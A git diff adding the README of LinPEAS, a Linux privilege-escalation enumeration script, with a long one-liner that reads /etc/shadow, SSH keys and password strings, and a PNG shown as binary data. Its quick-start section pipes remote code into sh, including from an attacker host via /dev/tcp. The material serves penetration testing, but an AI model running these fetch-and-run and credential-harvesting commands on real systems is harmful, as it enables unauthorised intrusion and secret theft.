it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version. + +## License + +MIT License + +By Polop(TM) \ No newline at end of file diff --git a/checks/README.md b/checks/README.md deleted file mode 100644 index 0188e7c..0000000 --- a/checks/README.md +++ /dev/null @@ -1,104 +0,0 @@ -# LinPEAS - Linux Privilege Escalation Awsome Script (with colors!!) - -Also valid for **Unix systems** - -## What does linpeas look for -- **System Information** - - [x] SO & kernel version - - [x] Sudo version - - [x] PATH - - [x] Date - - [x] System stats - - [x] Environment vars - - [x] SElinux - - [x] Printers - - [x] Dmesg (signature verifications) - - [x] Container? - -- **Devices** - - [x] sd* in /dev - - [x] Unmounted filesystems - -- **Available Software** - - [x] Useful software - - [x] Installed compilers - -- **Processes & Cron & Services** - - [x] Cleaned processes - - [x] Binary processes permissions - - [x] Different processes executed during 1 min - - [x] Cron jobs - - [x] Services - -- **Network Information** - - [x] Hostname, hosts & dns - - [x] Content of /etc/inetd.conf - - [x] Networks and neighbours - - [x] Iptables rules - - [x] Active ports - - [x] Sniff permissions (tcpdump) - -- **Users Information** - - [x] Info about current user - - [x] PGP keys - - [x] `sudo -l` without password - - [x] doas config file - - [x] Pkexec policy - - [x] Try to login using `su` as other users (using null pass and the username) - - [x] List of superusers - - [x] List of users with console - - [x] Login info - - [x] List of all users - - [x] Clipboard and highlighted text - -- **Software Information** - - [x] MySQl (Version, user being configured, loging as "root:root","root:toor","root:", user hashes extraction via DB and file, possible backup user configured) - - [x] PostgreSQL (Version, try login in "template0" and "template1" as: "postgres:", "psql:") - - [x] Apache (Version) - - [x] PHP cookies - - [x] Wordpress (Database credentials) - - [x] Tomcat (Credentials) - - [x] Mongo (Version) - - [x] Supervisor (Credentials) - - [x] Cesi (Credentials) - - [x] Rsyncd (Credentials) - - [x] Hostapd (Credentials) - - [x] Wifi (Credentials) - - [x] Anaconda-ks (Credentials) - - [x] VNC (Credentials) - - [x] LDAP database (Credentials) - - [x] Open VPN files (Credentials) - - [x] SSH (private keys, known_hosts, authorized_hosts, authorized_keys, main config parameters in sshd_config, certificates, agents) - - [X] PAM-SSH (Unexpected "auth" values) - - [x] Cloud Credentials (credenals-AWS-, credentials.gb-GC-, legacy_credentials-GC-, access_tokens.db-GC-, accessTokens.json-Azure-, azureProfile.json-Azure-) - - [x] NFS (privilege escalation misconfiguration) - - [x] Kerberos (configuration & tickets in /tmp) - - [x] Kibana (credentials) - - [x] Logstash (Username and possible code execution) - - [x] Elasticseach (Config info and Version via port 9200) - - [x] Vault-ssh (Config values, secrets list and .vault-token files) - - [x] screen and tmux sessions - - -- **Generic Interesting Files** - - [x] SUID & SGID files - - [x] Capabilities - - [x] .sh scripts in PATH - - [x] Hashes (passwd, shadow & master.passwd) - - [x] Try to read root dir - - [x] Files owned by root inside /home - - [x] List of readable files belonging to root and not world readable - - [x] Root files inside a folder owned by the current user - - [x] Reduced list of files inside my home and /home - - [x] Mails - - [x] Backup files - - [x] DB files - - [x] Web files - - [x] Files that can contain passwords (and search for passwords inside *_history files) - - [x] List of all hidden files - - [x] List ALL writable files for current user (global, user and groups) - - [x] Inside /tmp, /var/tmp and /var/backups - - [x] Password ins config PHP files - - [x] Get IPs, passwords and emails from logs - - [x] password or credential files in home - - [x] "pwd" and "passw" inside files (and get most probable lines) \ No newline at end of file diff --git a/linPEAS/README.md b/linPEAS/README.md new file mode 100755 index 0000000..5553692 --- /dev/null +++ b/linPEAS/README.md @@ -0,0 +1,243 @@ +# LinPEAS - Linux Privilege Escalation Awsome Script + +**LinPEAS is a script that searh for possible paths to escalate privileges on Linux/Unix\* hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)** + +Check the **Local Linux Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist) + +[![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/266928) + + +## Quick Start +```bash +#From github +curl https://raw.githubusercontent.com/carlospolop/linux-privilege-escalation-awsome-script/master/linpeas.sh | sh +``` + +```bash +#Local network +python -m SimpleHTTPServer 80 +curl 10.10.10.10/linpeas.sh | sh + +#Without curl +nc -lvnp 80 < linpeas.sh +cat < /dev/tcp/10.10.10.10/80 | sh +``` + +## Basic Information + +The goal of this script is to search for possible **Privilege Escalation Paths** (tested in Debian, CentOS, FreeBSD and OpenBSD). + +This script doesn't have any dependency. + +It uses **/bin/sh** sintax, so can run in anything supporting `sh` (and the binaries and parameters used). + +It could take from **2 to 3 minutes** to execute the whole script (less than 1 min to make almost all the checks, almost 1 min to search for possible passwords inside all the accesible files of the system and 1 min to monitor the processes in order to find very frequent cron jobs). + +You can **decrease this** time use the parameters: +- **-f** (fast) - This will bypass checking processes during 1 min +- **-s** (superfast) - This will bypass the previous check and other time consuming checks. + +This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector. + +LinPEAS also **exports a new PATH** variable if common folders aren't present in the original PATH variable. It also **exports** unset and export several environmental commands so no command executed during the session will be saved in the history file (you can avoid this actions using the parameter **-n**). + +![](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/blob/master/linpeas/images/help.png) + +## Hosts Discovery and Port Scanning + +With LinPEAS you can also **discover hosts automatically** using `fping`, `ping` and/or `nc`, and **scan ports** using `nc`. + +LinPEAS will **automatically search for this binaries** in `$PATH` and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning. + +![](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/blob/master/linpeas/images/network.png) + +## Colors + +
+Details + +LinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**. + +The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure). + +The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to PE: +- Possible exploitable kernel versions +- Vulnerable sudo versions +- Identify processes running as root +- Not mounted devices +- Dangerous fstab permissions +- Writable files in interesting directories +- SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version) +- SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/) +- Check /etc/doas.conf +- 127.0.0.1 in netstat +- Known files that could contain passwords +- Capabilities in interesting binaries +- Interesting capabilities of a binary +- Writable folders and wilcards inside info about cron jobs +- Writables folders in PATH +- Groups that could lead to root +- Files that could contains passwords + +The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for: +- Common processes run by root +- Common not interesting devices to mount +- Not dangerous fstab permissions +- SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version) +- Common .sh files in path +- Common names of users executing processes + +The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for: +- Users without shell +- Mounted devices + +The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for: +- Users with shell + +The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for: +- Current username + +
+ +## One liner + +Here you have an old linpe version script in one line, **just copy and paste it**;) + +**The color filtering is not available in the one-liner** (the lists are too big) + +This one-liner is deprecated (I am not going to update it more), but it could be useful in some cases so it will remain here: + +The default file where all the data is recorded is: */tmp/linPE* (you can change it at the beginning of the script) + + +```sh +file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC >> $file;awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Login\n"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo "" >> $file;printf $Y"[+] "$RED"Users with console\n"$NC >> $file;cat /etc/passwd 2>/dev/null | grep "sh$" >> $file;echo "" >> $file;printf $Y"[+] "$RED"All users\n"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering files information...";printf $B"[*] "$RED"INTERESTING FILES\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"SUID\n"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"SGID\n"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside \$HOME (limit 20)\n"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"20 First files of /home\n"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside .ssh directory?\n"$NC >> $file;find /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"*sa_key* files\n"$NC >> $file;find / -type f -name "*sa_key*" -ls 2>/dev/null -exec ls -l {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"Mails?\n"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"NFS exports?\n"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\n"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Readable /root?\n"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Inside docker or lxc?\n"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" >> $file; fi;if [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" >> $file; fi;echo "" >> $file;printf $Y"[+] "$RED"*_history, profile, bashrc, httpd.conf\n"$NC >> $file;find / -type f \( -name "*_history" -o -name "profile" -o -name "*bashrc" -o -name "httpd.conf" \) -exec ls -l {} \; 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"All hidden files (not in /sys/) (limit 100)\n"$NC >> $file;find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/" | head -n 100 >> $file;echo "" >> $file;printf $Y"[+] "$RED"What inside /tmp, /var/tmp, /var/backups\n"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Interesting writable Files\n"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo "" >> $file;printf $Y"[+] "$RED"Web files?(output limited)\n"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo "" >> $file;printf $Y"[+] "$RED"Backup files?\n"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*back*" -o -name "*bck*" \) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find IPs inside logs\n"$NC >> $file;grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\n"$NC >> $file;grep -lRi "password\|passw" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l (you need to puts the password and the result appear in console)\n"$NC >> $file;sudo -l; +``` +## What does linpeas look for +
+ Details + +- **System Information** + - [x] SO & kernel version + - [x] Sudo version + - [x] PATH + - [x] Date + - [x] System stats + - [x] Environment vars + - [x] SElinux + - [x] Printers + - [x] Dmesg (signature verifications) + - [x] Container? + +- **Devices** + - [x] sd* in /dev + - [x] Unmounted filesystems + +- **Available Software** + - [x] Useful software + - [x] Installed compilers + +- **Processes & Cron & Services** + - [x] Cleaned processes + - [x] Binary processes permissions + - [x] Different processes executed during 1 min + - [x] Cron jobs + - [x] Services + +- **Network Information** + - [x] Hostname, hosts & dns + - [x] Content of /etc/inetd.conf + - [x] Networks and neighbours + - [x] Iptables rules + - [x] Active ports + - [x] Sniff permissions (tcpdump) + +- **Users Information** + - [x] Info about current user + - [x] PGP keys + - [x] `sudo -l` without password + - [x] doas config file + - [x] Pkexec policy + - [x] Try to login using `su` as other users (using null pass and the username) + - [x] List of superusers + - [x] List of users with console + - [x] Login info + - [x] List of all users + - [x] Clipboard and highlighted text + +- **Software Information** + - [x] MySQl (Version, user being configured, loging as "root:root","root:toor","root:", user hashes extraction via DB and file, possible backup user configured) + - [x] PostgreSQL (Version, try login in "template0" and "template1" as: "postgres:", "psql:") + - [x] Apache (Version) + - [x] PHP cookies + - [x] Wordpress (Database credentials) + - [x] Tomcat (Credentials) + - [x] Mongo (Version) + - [x] Supervisor (Credentials) + - [x] Cesi (Credentials) + - [x] Rsyncd (Credentials) + - [x] Hostapd (Credentials) + - [x] Wifi (Credentials) + - [x] Anaconda-ks (Credentials) + - [x] VNC (Credentials) + - [x] LDAP database (Credentials) + - [x] Open VPN files (Credentials) + - [x] SSH (private keys, known_hosts, authorized_hosts, authorized_keys, main config parameters in sshd_config, certificates, agents) + - [X] PAM-SSH (Unexpected "auth" values) + - [x] Cloud Credentials (credenals-AWS-, credentials.gb-GC-, legacy_credentials-GC-, access_tokens.db-GC-, accessTokens.json-Azure-, azureProfile.json-Azure-) + - [x] NFS (privilege escalation misconfiguration) + - [x] Kerberos (configuration & tickets in /tmp) + - [x] Kibana (credentials) + - [x] Logstash (Username and possible code execution) + - [x] Elasticseach (Config info and Version via port 9200) + - [x] Vault-ssh (Config values, secrets list and .vault-token files) + - [x] screen and tmux sessions + + +- **Generic Interesting Files** + - [x] SUID & SGID files + - [x] Capabilities + - [x] .sh scripts in PATH + - [x] Hashes (passwd, shadow & master.passwd) + - [x] Try to read root dir + - [x] Files owned by root inside /home + - [x] List of readable files belonging to root and not world readable + - [x] Root files inside a folder owned by the current user + - [x] Reduced list of files inside my home and /home + - [x] Mails + - [x] Backup files + - [x] DB files + - [x] Web files + - [x] Files that can contain passwords (and search for passwords inside *_history files) + - [x] List of all hidden files + - [x] List ALL writable files for current user (global, user and groups) + - [x] Inside /tmp, /var/tmp and /var/backups + - [x] Password ins config PHP files + - [x] Get IPs, passwords and emails from logs + - [x] password or credential files in home + - [x] "pwd" and "passw" inside files (and get most probable lines) +
+ +## Do not fork it!! + +If you want to **add something** and have **any cool idea** related to this project, please let me know it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version. + +## TODO + +- Add more checks +- Mantain updated the list of vulnerable SUID binaries +- Mantain updated all the blacklists used to color the output +- Support for MacOS + +If you want to help with any of this, you can do it using [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) or you can submit a pull request. + +If you find any issue, please report it using [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues). + + +**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. + +## License + +MIT License + +By Polop(TM) diff --git a/linPEAS/images/help.png b/linPEAS/images/help.png new file mode 100755 index 0000000000000000000000000000000000000000..babaa4ab8bb32b863a89ffe8ec32fa39ba7a9d4c GIT binary patch literal 43847 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

